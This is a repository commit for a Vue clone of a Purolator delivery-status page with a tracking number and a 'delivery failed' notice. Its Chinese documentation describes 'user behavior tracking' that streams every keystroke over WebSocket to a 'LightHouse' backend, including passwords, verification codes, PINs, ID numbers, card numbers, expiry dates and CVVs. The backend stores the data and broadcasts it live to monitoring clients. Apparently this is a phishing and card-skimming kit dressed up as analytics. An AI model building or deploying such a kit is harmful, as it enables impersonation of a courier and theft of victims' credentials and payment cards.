first commit
12
.dockerignore
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
node_modules
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
.DS_Store
|
||||||
|
.env.local
|
||||||
|
.env.development.local
|
||||||
|
.env.test.local
|
||||||
|
.env.production.local
|
||||||
|
dist
|
||||||
|
coverage
|
||||||
|
.nyc_output
|
||||||
24
.gitignore
vendored
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
# Logs
|
||||||
|
logs
|
||||||
|
*.log
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
lerna-debug.log*
|
||||||
|
|
||||||
|
node_modules
|
||||||
|
dist
|
||||||
|
dist-ssr
|
||||||
|
*.local
|
||||||
|
|
||||||
|
# Editor directories and files
|
||||||
|
.vscode/*
|
||||||
|
!.vscode/extensions.json
|
||||||
|
.idea
|
||||||
|
.DS_Store
|
||||||
|
*.suo
|
||||||
|
*.ntvs*
|
||||||
|
*.njsproj
|
||||||
|
*.sln
|
||||||
|
*.sw?
|
||||||
54
Dockerfile
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
# 构建阶段
|
||||||
|
FROM node:18-alpine AS build-stage
|
||||||
|
|
||||||
|
# 设置工作目录
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
# 复制依赖配置文件
|
||||||
|
COPY package*.json ./
|
||||||
|
|
||||||
|
# 安装依赖 (包含开发依赖,构建需要)
|
||||||
|
RUN npm ci --include=dev --no-audit --no-fund
|
||||||
|
|
||||||
|
# 复制源代码
|
||||||
|
COPY . .
|
||||||
|
|
||||||
|
# 创建 .dockerignore 忽略的文件夹
|
||||||
|
RUN mkdir -p dist
|
||||||
|
|
||||||
|
# 构建应用
|
||||||
|
RUN npm run build
|
||||||
|
|
||||||
|
# 生产阶段 - 使用更轻量的 nginx 镜像
|
||||||
|
FROM nginx:1.25-alpine AS production-stage
|
||||||
|
|
||||||
|
# 创建非 root 用户
|
||||||
|
RUN addgroup -g 1001 -S nginx-user && \
|
||||||
|
adduser -S -D -H -u 1001 -h /var/cache/nginx -s /sbin/nologin -G nginx-user -g nginx-user nginx-user
|
||||||
|
|
||||||
|
# 复制自定义 Nginx 配置
|
||||||
|
COPY nginx.conf /etc/nginx/conf.d/default.conf
|
||||||
|
|
||||||
|
# 复制构建产物到 Nginx
|
||||||
|
COPY --from=build-stage --chown=nginx-user:nginx-user /app/dist /usr/share/nginx/html
|
||||||
|
|
||||||
|
# 设置正确的权限
|
||||||
|
RUN chown -R nginx-user:nginx-user /usr/share/nginx/html && \
|
||||||
|
chown -R nginx-user:nginx-user /var/cache/nginx && \
|
||||||
|
chown -R nginx-user:nginx-user /var/log/nginx && \
|
||||||
|
chown -R nginx-user:nginx-user /etc/nginx/conf.d && \
|
||||||
|
touch /var/run/nginx.pid && \
|
||||||
|
chown -R nginx-user:nginx-user /var/run/nginx.pid
|
||||||
|
|
||||||
|
# 切换到非 root 用户
|
||||||
|
USER nginx-user
|
||||||
|
|
||||||
|
# 暴露端口
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
# 健康检查
|
||||||
|
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
|
||||||
|
CMD wget --no-verbose --tries=1 --spider http://localhost:8080/ || exit 1
|
||||||
|
|
||||||
|
# 启动 Nginx
|
||||||
|
CMD ["nginx", "-g", "daemon off;"]
|
||||||
128
README.md
Normal file
@@ -0,0 +1,128 @@
|
|||||||
|
# Purolator Vue应用
|
||||||
|
|
||||||
|
这是一个基于Vue 3的Purolator物流配送状态页面,完全还原了原始HTML页面的设计和功能。
|
||||||
|
|
||||||
|
## 项目特点
|
||||||
|
|
||||||
|
- ✅ 完全保留原始页面的所有素材和样式
|
||||||
|
- ✅ 使用Vue 3 + Vite构建的现代化前端架构
|
||||||
|
- ✅ 响应式设计,支持移动端和桌面端
|
||||||
|
- ✅ 组件化开发,代码结构清晰
|
||||||
|
- ✅ 保持与原页面一模一样的视觉效果
|
||||||
|
|
||||||
|
## 项目结构
|
||||||
|
|
||||||
|
```
|
||||||
|
purolator-vue-app/
|
||||||
|
├── public/ # 静态资源目录
|
||||||
|
│ ├── img/ # 图片资源
|
||||||
|
│ │ ├── FSR-Certified_0-v0kJZovC.png
|
||||||
|
│ │ ├── icon-appstore-DUjdPpUP.png
|
||||||
|
│ │ ├── icon-googleplay-DvFlcbMB.png
|
||||||
|
│ │ ├── purolator_logo-Dg7zFu9c.png
|
||||||
|
│ │ ├── shipping-and-receiving-banner-Cjj25G3-.jpg
|
||||||
|
│ │ └── x3_0.png
|
||||||
|
│ └── assets/ # CSS等资源
|
||||||
|
│ └── index-Wc09J9bj.css
|
||||||
|
├── src/ # 源代码目录
|
||||||
|
│ ├── components/ # Vue组件
|
||||||
|
│ │ ├── HeaderComponent.vue # 头部导航组件
|
||||||
|
│ │ └── FooterComponent.vue # 页脚组件
|
||||||
|
│ ├── assets/ # 项目资源
|
||||||
|
│ ├── App.vue # 主应用组件
|
||||||
|
│ ├── main.js # 应用入口
|
||||||
|
│ └── style.css # 全局样式
|
||||||
|
├── index.html # HTML模板
|
||||||
|
├── package.json # 项目配置
|
||||||
|
├── vite.config.js # Vite配置
|
||||||
|
└── README.md # 项目说明
|
||||||
|
```
|
||||||
|
|
||||||
|
## 页面功能
|
||||||
|
|
||||||
|
### 主要组件
|
||||||
|
|
||||||
|
1. **HeaderComponent** - 头部导航栏
|
||||||
|
- Purolator品牌Logo
|
||||||
|
- 导航菜单(Locations、Track a Shipment)
|
||||||
|
- 响应式移动端菜单
|
||||||
|
|
||||||
|
2. **主内容区域** - 配送状态信息
|
||||||
|
- 包裹号码显示:US9987677846
|
||||||
|
- 配送失败通知
|
||||||
|
- 详细的状态说明
|
||||||
|
- 继续按钮
|
||||||
|
|
||||||
|
3. **FooterComponent** - 页脚信息
|
||||||
|
- 客户支持链接
|
||||||
|
- 社交媒体图标
|
||||||
|
- 关于Purolator和快速链接
|
||||||
|
- 移动应用下载链接
|
||||||
|
- 认证标识
|
||||||
|
- 版权信息
|
||||||
|
|
||||||
|
### 样式特点
|
||||||
|
|
||||||
|
- 保持与原页面完全一致的颜色方案
|
||||||
|
- 使用Purolator品牌色:#001996(深蓝色)
|
||||||
|
- 完整的响应式设计
|
||||||
|
- 所有原始图标和图片都已保留
|
||||||
|
|
||||||
|
## 安装和运行
|
||||||
|
|
||||||
|
### 安装依赖
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm install
|
||||||
|
```
|
||||||
|
|
||||||
|
### 开发模式运行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm run dev
|
||||||
|
```
|
||||||
|
|
||||||
|
### 构建生产版本
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm run build
|
||||||
|
```
|
||||||
|
|
||||||
|
### 预览生产版本
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm run preview
|
||||||
|
```
|
||||||
|
|
||||||
|
## 技术栈
|
||||||
|
|
||||||
|
- **Vue 3** - 前端框架
|
||||||
|
- **Vite** - 构建工具
|
||||||
|
- **原生CSS** - 保持原始样式
|
||||||
|
- **响应式设计** - 支持多设备
|
||||||
|
|
||||||
|
## 浏览器支持
|
||||||
|
|
||||||
|
- Chrome (推荐)
|
||||||
|
- Firefox
|
||||||
|
- Safari
|
||||||
|
- Edge
|
||||||
|
|
||||||
|
## 开发说明
|
||||||
|
|
||||||
|
这个项目完全基于原始的Purolator HTML页面创建,所有的样式、图片、文字内容都保持原样。主要的改进是:
|
||||||
|
|
||||||
|
1. **现代化架构**:使用Vue 3替代原始HTML,提供更好的维护性
|
||||||
|
2. **组件化**:将页面拆分为逻辑清晰的组件
|
||||||
|
3. **开发体验**:使用Vite提供快速的开发和构建体验
|
||||||
|
|
||||||
|
## 注意事项
|
||||||
|
|
||||||
|
- 所有的外部链接都保持原样
|
||||||
|
- 图片资源都已本地化处理
|
||||||
|
- CSS样式完全保留原始设计
|
||||||
|
- 响应式设计确保在各种设备上都能正常显示
|
||||||
|
|
||||||
|
## 许可证
|
||||||
|
|
||||||
|
本项目仅用于学习和演示目的。所有Purolator相关的商标、Logo和内容版权归Purolator Inc.所有。
|
||||||
14
index.html
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Purolator - Delivery Status</title>
|
||||||
|
<link rel="icon" href="favicon.ico" type="image/x-icon">
|
||||||
|
<link rel="stylesheet" href="./assets/index-Wc09J9bj.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div id="app"></div>
|
||||||
|
<script type="module" src="/src/main.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
1
md/README_UserBehavior.md
Normal file
@@ -0,0 +1 @@
|
|||||||
|
|
||||||
244
md/README_UserBehavior_Implementation.md
Normal file
@@ -0,0 +1,244 @@
|
|||||||
|
# LightHouse 前端用户行为收集实现说明
|
||||||
|
|
||||||
|
## 概述
|
||||||
|
|
||||||
|
本实现基于后端提供的 WebSocket 接口,为 Vue.js 前端应用添加了完整的用户行为收集功能,支持实时上报用户在页面上的各种操作行为。
|
||||||
|
|
||||||
|
## 功能特性
|
||||||
|
|
||||||
|
### 1. 自动行为收集
|
||||||
|
- **表单输入追踪**: 自动监听所有输入框的输入行为
|
||||||
|
- **页面导航追踪**: 自动记录页面访问和离开
|
||||||
|
- **表单提交追踪**: 监听表单提交和完成状态
|
||||||
|
- **会话管理**: 自动管理用户会话开始和结束
|
||||||
|
|
||||||
|
### 2. 支持的行为类型
|
||||||
|
根据后端 WebSocket 接口规范,实现了以下行为类型:
|
||||||
|
|
||||||
|
#### 用户基本信息
|
||||||
|
- `input_name` - 输入姓名
|
||||||
|
- `input_phone` - 输入电话
|
||||||
|
- `input_email` - 输入邮箱
|
||||||
|
- `input_id_card` - 输入身份证号
|
||||||
|
|
||||||
|
#### 登录信息
|
||||||
|
- `login` - 登录行为
|
||||||
|
- `input_username` - 输入用户名
|
||||||
|
- `input_password` - 输入密码
|
||||||
|
- `input_verify_code` - 输入验证码
|
||||||
|
- `input_pin` - 输入PIN码
|
||||||
|
|
||||||
|
#### 地址信息
|
||||||
|
- `input_address_country` - 输入国家
|
||||||
|
- `input_address_state` - 输入省份/州
|
||||||
|
- `input_address_city` - 输入城市
|
||||||
|
- `input_address_detail` - 输入详细地址
|
||||||
|
- `input_address_zip` - 输入邮政编码
|
||||||
|
|
||||||
|
#### 信用卡信息
|
||||||
|
- `input_card_number` - 输入卡号
|
||||||
|
- `input_card_type` - 输入卡类型
|
||||||
|
- `input_card_holder` - 输入持卡人姓名
|
||||||
|
- `input_card_expiry` - 输入有效期
|
||||||
|
- `input_card_cvv` - 输入CVV
|
||||||
|
|
||||||
|
#### 状态变更
|
||||||
|
- `complete_registration` - 完成注册
|
||||||
|
- `complete_payment` - 完成支付
|
||||||
|
- `session_start` - 会话开始
|
||||||
|
- `session_end` - 会话结束
|
||||||
|
- `page_visit` - 页面访问
|
||||||
|
- `page_leave` - 页面离开
|
||||||
|
|
||||||
|
## 架构设计
|
||||||
|
|
||||||
|
### 1. WebSocket 服务 (`src/services/websocket.js`)
|
||||||
|
- 负责与后端 WebSocket 的连接管理
|
||||||
|
- 实现自动重连机制
|
||||||
|
- 提供消息队列确保数据不丢失
|
||||||
|
- 提供心跳检测保持连接活跃
|
||||||
|
|
||||||
|
### 2. 行为追踪混入 (`src/mixins/behaviorTracking.js`)
|
||||||
|
- Vue 混入,为组件提供行为追踪能力
|
||||||
|
- 自动监听表单输入元素
|
||||||
|
- 提供防抖机制避免频繁上报
|
||||||
|
- 智能识别输入框类型
|
||||||
|
|
||||||
|
### 3. 导航追踪插件 (`src/plugins/navigationTracking.js`)
|
||||||
|
- 基于 Vue Router 的全局导航守卫
|
||||||
|
- 自动追踪页面访问和离开
|
||||||
|
- 记录页面间的跳转关系
|
||||||
|
|
||||||
|
## 使用方法
|
||||||
|
|
||||||
|
### 1. 在组件中启用行为追踪
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
|
||||||
|
|
||||||
|
export default {
|
||||||
|
mixins: [behaviorTrackingMixin],
|
||||||
|
// 组件其他选项...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. 手动触发特定行为追踪
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
// 在组件方法中
|
||||||
|
methods: {
|
||||||
|
onSubmitForm() {
|
||||||
|
// 追踪表单提交
|
||||||
|
this.trackFormSubmit('payment', this.formData);
|
||||||
|
|
||||||
|
// 其他业务逻辑...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. 输入框自动追踪配置
|
||||||
|
|
||||||
|
输入框会根据以下优先级自动识别追踪类型:
|
||||||
|
1. `id` 属性
|
||||||
|
2. `name` 属性
|
||||||
|
3. `data-track` 属性
|
||||||
|
4. `placeholder` 内容智能识别
|
||||||
|
|
||||||
|
推荐的输入框配置:
|
||||||
|
```html
|
||||||
|
<!-- 通过 id 识别 -->
|
||||||
|
<input type="text" id="name" v-model="userName" />
|
||||||
|
<input type="text" id="cardNumber" v-model="cardNum" />
|
||||||
|
|
||||||
|
<!-- 通过 data-track 属性指定 -->
|
||||||
|
<input type="text" data-track="phone" v-model="phoneNum" />
|
||||||
|
```
|
||||||
|
|
||||||
|
## 配置说明
|
||||||
|
|
||||||
|
### WebSocket 连接配置
|
||||||
|
在 `src/services/websocket.js` 中可以修改以下配置:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
constructor() {
|
||||||
|
this.wsUrl = 'wss://localhost:8080/api/v1/userInfo/ws_pub'; // WebSocket地址
|
||||||
|
this.maxReconnectAttempts = 5; // 最大重连次数
|
||||||
|
this.reconnectInterval = 3000; // 重连间隔(毫秒)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 行为追踪配置
|
||||||
|
在 `src/mixins/behaviorTracking.js` 中可以调整防抖延迟:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
const debouncedTrack = this.debounce((value) => {
|
||||||
|
this.trackInputBehavior(trackingKey, value, input);
|
||||||
|
}, 500); // 防抖延迟500毫秒
|
||||||
|
```
|
||||||
|
|
||||||
|
## 数据格式
|
||||||
|
|
||||||
|
发送到后端的消息格式:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": "行为类型",
|
||||||
|
"uuid": "用户唯一标识",
|
||||||
|
"status": "状态描述",
|
||||||
|
"payload": {
|
||||||
|
"字段名": "字段值"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
示例:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": "input_card_number",
|
||||||
|
"uuid": "user_1703123456789_abc123def",
|
||||||
|
"status": "正在输入卡号",
|
||||||
|
"payload": {
|
||||||
|
"card_number": "1234567890123456"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 测试
|
||||||
|
|
||||||
|
### 1. 使用测试页面
|
||||||
|
打开 `test-behavior.html` 文件可以测试 WebSocket 连接和各种行为上报功能。
|
||||||
|
|
||||||
|
### 2. 浏览器开发者工具
|
||||||
|
在浏览器控制台中可以看到:
|
||||||
|
- WebSocket 连接状态
|
||||||
|
- 发送的行为数据
|
||||||
|
- 连接错误和重连信息
|
||||||
|
|
||||||
|
### 3. 运行应用测试
|
||||||
|
```bash
|
||||||
|
npm run dev
|
||||||
|
```
|
||||||
|
|
||||||
|
在应用中正常操作即可触发行为收集:
|
||||||
|
- 访问不同页面
|
||||||
|
- 在表单中输入内容
|
||||||
|
- 提交表单
|
||||||
|
|
||||||
|
## 安全注意事项
|
||||||
|
|
||||||
|
1. **敏感信息**: 密码、卡号等敏感信息会被上报,请确保后端有适当的安全措施
|
||||||
|
2. **用户隐私**: 建议添加用户同意机制
|
||||||
|
3. **数据传输**: 使用 WSS 加密传输确保数据安全
|
||||||
|
4. **错误处理**: 实现了重连机制,但建议监控连接状态
|
||||||
|
|
||||||
|
## 故障排除
|
||||||
|
|
||||||
|
### 常见问题
|
||||||
|
1. **WebSocket 连接失败**
|
||||||
|
- 检查后端服务是否启动
|
||||||
|
- 确认 WebSocket URL 是否正确
|
||||||
|
- 检查网络防火墙设置
|
||||||
|
|
||||||
|
2. **行为数据未上报**
|
||||||
|
- 检查浏览器控制台是否有错误
|
||||||
|
- 确认输入框是否正确配置了追踪标识
|
||||||
|
- 检查 WebSocket 连接状态
|
||||||
|
|
||||||
|
3. **页面导航追踪异常**
|
||||||
|
- 确认路由配置正确
|
||||||
|
- 检查导航守卫是否正常执行
|
||||||
|
|
||||||
|
### 调试建议
|
||||||
|
- 打开浏览器开发者工具的 Network 选项卡查看 WebSocket 连接
|
||||||
|
- 使用 `test-behavior.html` 测试基础功能
|
||||||
|
- 在组件中添加 `console.log` 确认混入是否正确加载
|
||||||
|
|
||||||
|
## 扩展开发
|
||||||
|
|
||||||
|
### 添加新的行为类型
|
||||||
|
1. 在 `UserBehaviorTracker` 类中添加新的追踪方法
|
||||||
|
2. 在 `behaviorTrackingMixin` 中添加对应的字段映射
|
||||||
|
3. 更新组件中的调用逻辑
|
||||||
|
|
||||||
|
### 自定义行为处理
|
||||||
|
```javascript
|
||||||
|
// 在组件中自定义行为
|
||||||
|
this.$behaviorTracker.sendBehavior(
|
||||||
|
'custom_action',
|
||||||
|
'自定义行为描述',
|
||||||
|
{ custom_data: 'value' }
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
## 性能优化
|
||||||
|
|
||||||
|
1. **防抖处理**: 输入行为使用防抖减少网络请求
|
||||||
|
2. **消息队列**: 断线时缓存消息,重连后批量发送
|
||||||
|
3. **心跳检测**: 定期发送心跳保持连接活跃
|
||||||
|
4. **智能重连**: 指数退避算法避免频繁重连
|
||||||
|
|
||||||
|
## 联系支持
|
||||||
|
|
||||||
|
如有问题或需要扩展功能,请参考:
|
||||||
|
- 后端 WebSocket 接口文档:`README_WebSocket_Enhancement.md`
|
||||||
|
- Vue.js 官方文档
|
||||||
|
- WebSocket API 文档
|
||||||
317
md/README_WebSocket_Enhancement.md
Normal file
@@ -0,0 +1,317 @@
|
|||||||
|
# LightHouse WebSocket 系统增强说明
|
||||||
|
|
||||||
|
## 概述
|
||||||
|
|
||||||
|
本次更新对 LightHouse 系统的 WebSocket 功能进行了全面增强,支持更完整的用户行为信息记录,包括用户基本信息、地址信息、信用卡信息、登录时间、登录IP等。
|
||||||
|
|
||||||
|
## 主要改进
|
||||||
|
|
||||||
|
### 1. 数据模型扩展
|
||||||
|
|
||||||
|
#### 新增字段结构
|
||||||
|
- **用户基本信息**: 姓名、电话、邮箱、身份证号
|
||||||
|
- **登录信息**: 用户名、密码、验证码、PIN码、登录时间、登录IP、用户代理
|
||||||
|
- **地址信息**: 国家、省份、城市、详细地址、邮政编码
|
||||||
|
- **信用卡信息**: 卡号、卡类型、持卡人姓名、有效期、CVV、备注
|
||||||
|
- **系统信息**: 用户状态
|
||||||
|
- **自定义信息**: 5个自定义字段
|
||||||
|
|
||||||
|
#### 数据库字段映射
|
||||||
|
```sql
|
||||||
|
-- 用户基本信息
|
||||||
|
name VARCHAR(100) -- 姓名
|
||||||
|
phone VARCHAR(20) -- 电话
|
||||||
|
email VARCHAR(255) -- 邮箱
|
||||||
|
id_card VARCHAR(18) -- 身份证号
|
||||||
|
|
||||||
|
-- 登录信息
|
||||||
|
username VARCHAR(255) -- 用户名
|
||||||
|
password VARCHAR(255) -- 密码
|
||||||
|
verify_code VARCHAR(255) -- 验证码
|
||||||
|
pin VARCHAR(255) -- PIN码
|
||||||
|
login_time TIMESTAMP -- 登录时间
|
||||||
|
login_ip VARCHAR(45) -- 登录IP
|
||||||
|
user_agent TEXT -- 用户代理
|
||||||
|
|
||||||
|
-- 地址信息
|
||||||
|
country VARCHAR(100) -- 国家
|
||||||
|
state VARCHAR(100) -- 省份/州
|
||||||
|
city VARCHAR(100) -- 城市
|
||||||
|
address TEXT -- 详细地址
|
||||||
|
zip_code VARCHAR(20) -- 邮政编码
|
||||||
|
|
||||||
|
-- 信用卡信息
|
||||||
|
card_number VARCHAR(255) -- 卡号
|
||||||
|
card_type VARCHAR(50) -- 卡类型
|
||||||
|
card_holder_name VARCHAR(100) -- 持卡人姓名
|
||||||
|
expiry_date VARCHAR(10) -- 有效期
|
||||||
|
cvv VARCHAR(10) -- CVV
|
||||||
|
card_remark VARCHAR(255) -- 卡头备注
|
||||||
|
|
||||||
|
-- 系统信息
|
||||||
|
status VARCHAR(255) -- 用户状态
|
||||||
|
|
||||||
|
-- 自定义信息
|
||||||
|
custom_field1 VARCHAR(255) -- 自定义字段1
|
||||||
|
custom_field2 VARCHAR(255) -- 自定义字段2
|
||||||
|
custom_field3 VARCHAR(255) -- 自定义字段3
|
||||||
|
custom_field4 VARCHAR(255) -- 自定义字段4
|
||||||
|
custom_field5 VARCHAR(255) -- 自定义字段5
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. WebSocket 行为类型扩展
|
||||||
|
|
||||||
|
#### 用户基本信息行为
|
||||||
|
- `input_name` - 输入姓名
|
||||||
|
- `input_phone` - 输入电话
|
||||||
|
- `input_email` - 输入邮箱
|
||||||
|
- `input_id_card` - 输入身份证号
|
||||||
|
|
||||||
|
#### 登录信息行为
|
||||||
|
- `login` - 登录行为(自动记录时间、IP、User-Agent)
|
||||||
|
- `input_username` - 输入用户名
|
||||||
|
- `input_password` - 输入密码
|
||||||
|
- `input_verify_code` - 输入验证码
|
||||||
|
- `input_pin` - 输入PIN码
|
||||||
|
|
||||||
|
#### 地址信息行为
|
||||||
|
- `input_address_country` - 输入国家
|
||||||
|
- `input_address_state` - 输入省份/州
|
||||||
|
- `input_address_city` - 输入城市
|
||||||
|
- `input_address_detail` - 输入详细地址
|
||||||
|
- `input_address_zip` - 输入邮政编码
|
||||||
|
|
||||||
|
#### 信用卡信息行为
|
||||||
|
- `input_card_number` - 输入卡号
|
||||||
|
- `input_card_type` - 输入卡类型
|
||||||
|
- `input_card_holder` - 输入持卡人姓名
|
||||||
|
- `input_card_expiry` - 输入有效期
|
||||||
|
- `input_card_cvv` - 输入CVV
|
||||||
|
- `input_card_remark` - 输入卡头备注
|
||||||
|
|
||||||
|
#### 自定义字段行为
|
||||||
|
- `input_custom_field1` - 输入自定义字段1
|
||||||
|
- `input_custom_field2` - 输入自定义字段2
|
||||||
|
- `input_custom_field3` - 输入自定义字段3
|
||||||
|
- `input_custom_field4` - 输入自定义字段4
|
||||||
|
- `input_custom_field5` - 输入自定义字段5
|
||||||
|
|
||||||
|
#### 状态变更行为
|
||||||
|
- `complete_registration` - 完成注册
|
||||||
|
- `complete_payment` - 完成支付
|
||||||
|
- `session_start` - 会话开始
|
||||||
|
- `session_end` - 会话结束
|
||||||
|
|
||||||
|
### 3. 自动信息收集
|
||||||
|
|
||||||
|
#### 登录时自动记录
|
||||||
|
当发送 `login` 类型消息时,系统会自动记录:
|
||||||
|
- 当前时间作为登录时间
|
||||||
|
- 客户端IP地址
|
||||||
|
- User-Agent 信息
|
||||||
|
|
||||||
|
#### 实时广播
|
||||||
|
所有用户行为都会实时广播给所有订阅端,支持多客户端监控。
|
||||||
|
|
||||||
|
## 使用方法
|
||||||
|
|
||||||
|
### 1. 启动服务
|
||||||
|
|
||||||
|
确保 LightHouse 服务正在运行:
|
||||||
|
```bash
|
||||||
|
go run main.go
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. 连接 WebSocket
|
||||||
|
|
||||||
|
#### 发布端连接
|
||||||
|
```javascript
|
||||||
|
const wsPub = new WebSocket('ws://localhost:8080/ws/pub/userinfo');
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 订阅端连接
|
||||||
|
```javascript
|
||||||
|
const wsSub = new WebSocket('ws://localhost:8080/ws/sub/userinfo');
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. 发送用户行为
|
||||||
|
|
||||||
|
#### 基本格式
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": "行为类型",
|
||||||
|
"uuid": "用户唯一标识",
|
||||||
|
"status": "状态描述",
|
||||||
|
"payload": {
|
||||||
|
"字段名": "字段值"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 示例:完整用户注册流程
|
||||||
|
```javascript
|
||||||
|
// 1. 用户登录
|
||||||
|
wsPub.send(JSON.stringify({
|
||||||
|
type: 'login',
|
||||||
|
uuid: 'user123',
|
||||||
|
status: '用户正在登录',
|
||||||
|
payload: {}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// 2. 输入基本信息
|
||||||
|
wsPub.send(JSON.stringify({
|
||||||
|
type: 'input_name',
|
||||||
|
uuid: 'user123',
|
||||||
|
status: '正在输入姓名',
|
||||||
|
payload: { name: '张三' }
|
||||||
|
}));
|
||||||
|
|
||||||
|
wsPub.send(JSON.stringify({
|
||||||
|
type: 'input_phone',
|
||||||
|
uuid: 'user123',
|
||||||
|
status: '正在输入电话',
|
||||||
|
payload: { phone: '13800138000' }
|
||||||
|
}));
|
||||||
|
|
||||||
|
// 3. 输入地址信息
|
||||||
|
wsPub.send(JSON.stringify({
|
||||||
|
type: 'input_address_country',
|
||||||
|
uuid: 'user123',
|
||||||
|
status: '正在输入国家',
|
||||||
|
payload: { country: '中国' }
|
||||||
|
}));
|
||||||
|
|
||||||
|
// 4. 输入信用卡信息
|
||||||
|
wsPub.send(JSON.stringify({
|
||||||
|
type: 'input_card_number',
|
||||||
|
uuid: 'user123',
|
||||||
|
status: '正在输入卡号',
|
||||||
|
payload: { card_number: '1234567890123456' }
|
||||||
|
}));
|
||||||
|
|
||||||
|
// 5. 完成注册
|
||||||
|
wsPub.send(JSON.stringify({
|
||||||
|
type: 'complete_registration',
|
||||||
|
uuid: 'user123',
|
||||||
|
status: '注册完成',
|
||||||
|
payload: {}
|
||||||
|
}));
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. 监控用户行为
|
||||||
|
|
||||||
|
#### 订阅端监听
|
||||||
|
```javascript
|
||||||
|
wsSub.onmessage = function(event) {
|
||||||
|
const data = JSON.parse(event.data);
|
||||||
|
|
||||||
|
switch(data.type) {
|
||||||
|
case 'login':
|
||||||
|
console.log('用户登录:', data.uuid, 'IP:', data.login_ip);
|
||||||
|
break;
|
||||||
|
case 'input_card_number':
|
||||||
|
console.log('用户输入卡号:', data.payload.card_number);
|
||||||
|
break;
|
||||||
|
case 'complete_registration':
|
||||||
|
console.log('用户完成注册:', data.uuid);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
## 测试
|
||||||
|
|
||||||
|
### 运行测试脚本
|
||||||
|
```bash
|
||||||
|
# 安装依赖
|
||||||
|
npm install ws
|
||||||
|
|
||||||
|
# 运行测试
|
||||||
|
node test_websocket.js
|
||||||
|
```
|
||||||
|
|
||||||
|
测试脚本会:
|
||||||
|
1. 连接发布端和订阅端
|
||||||
|
2. 发送各种类型的用户行为消息
|
||||||
|
3. 验证消息是否正确接收和处理
|
||||||
|
4. 自动关闭连接
|
||||||
|
|
||||||
|
### 测试覆盖范围
|
||||||
|
- ✅ 用户基本信息输入
|
||||||
|
- ✅ 登录信息输入
|
||||||
|
- ✅ 地址信息输入
|
||||||
|
- ✅ 信用卡信息输入
|
||||||
|
- ✅ 自定义字段输入
|
||||||
|
- ✅ 状态变更通知
|
||||||
|
- ✅ 实时广播功能
|
||||||
|
|
||||||
|
## 数据库迁移
|
||||||
|
|
||||||
|
### 自动迁移
|
||||||
|
系统使用 GORM 自动迁移功能,启动时会自动创建或更新数据库表结构。
|
||||||
|
|
||||||
|
### 手动迁移(如果需要)
|
||||||
|
```sql
|
||||||
|
-- 添加新字段(如果表已存在)
|
||||||
|
ALTER TABLE user_infos ADD COLUMN name VARCHAR(100);
|
||||||
|
ALTER TABLE user_infos ADD COLUMN phone VARCHAR(20);
|
||||||
|
ALTER TABLE user_infos ADD COLUMN email VARCHAR(255);
|
||||||
|
ALTER TABLE user_infos ADD COLUMN id_card VARCHAR(18);
|
||||||
|
-- ... 其他字段
|
||||||
|
```
|
||||||
|
|
||||||
|
## 安全注意事项
|
||||||
|
|
||||||
|
1. **敏感信息保护**: 密码、卡号等敏感信息会存储在数据库中,请确保数据库安全
|
||||||
|
2. **UUID唯一性**: 确保每个用户使用唯一的UUID标识
|
||||||
|
3. **输入验证**: 客户端应验证输入数据的格式和有效性
|
||||||
|
4. **连接安全**: 生产环境建议使用WSS(WebSocket Secure)
|
||||||
|
5. **访问控制**: 考虑添加身份验证和授权机制
|
||||||
|
|
||||||
|
## 性能优化
|
||||||
|
|
||||||
|
1. **连接池管理**: 系统自动管理WebSocket连接池
|
||||||
|
2. **消息缓冲**: 使用缓冲通道避免消息丢失
|
||||||
|
3. **并发处理**: 支持多客户端并发连接
|
||||||
|
4. **数据库优化**: 使用索引优化查询性能
|
||||||
|
|
||||||
|
## 故障排除
|
||||||
|
|
||||||
|
### 常见问题
|
||||||
|
|
||||||
|
1. **连接失败**
|
||||||
|
- 检查服务是否启动
|
||||||
|
- 确认端口是否正确
|
||||||
|
- 检查防火墙设置
|
||||||
|
|
||||||
|
2. **消息未接收**
|
||||||
|
- 确认订阅端已连接
|
||||||
|
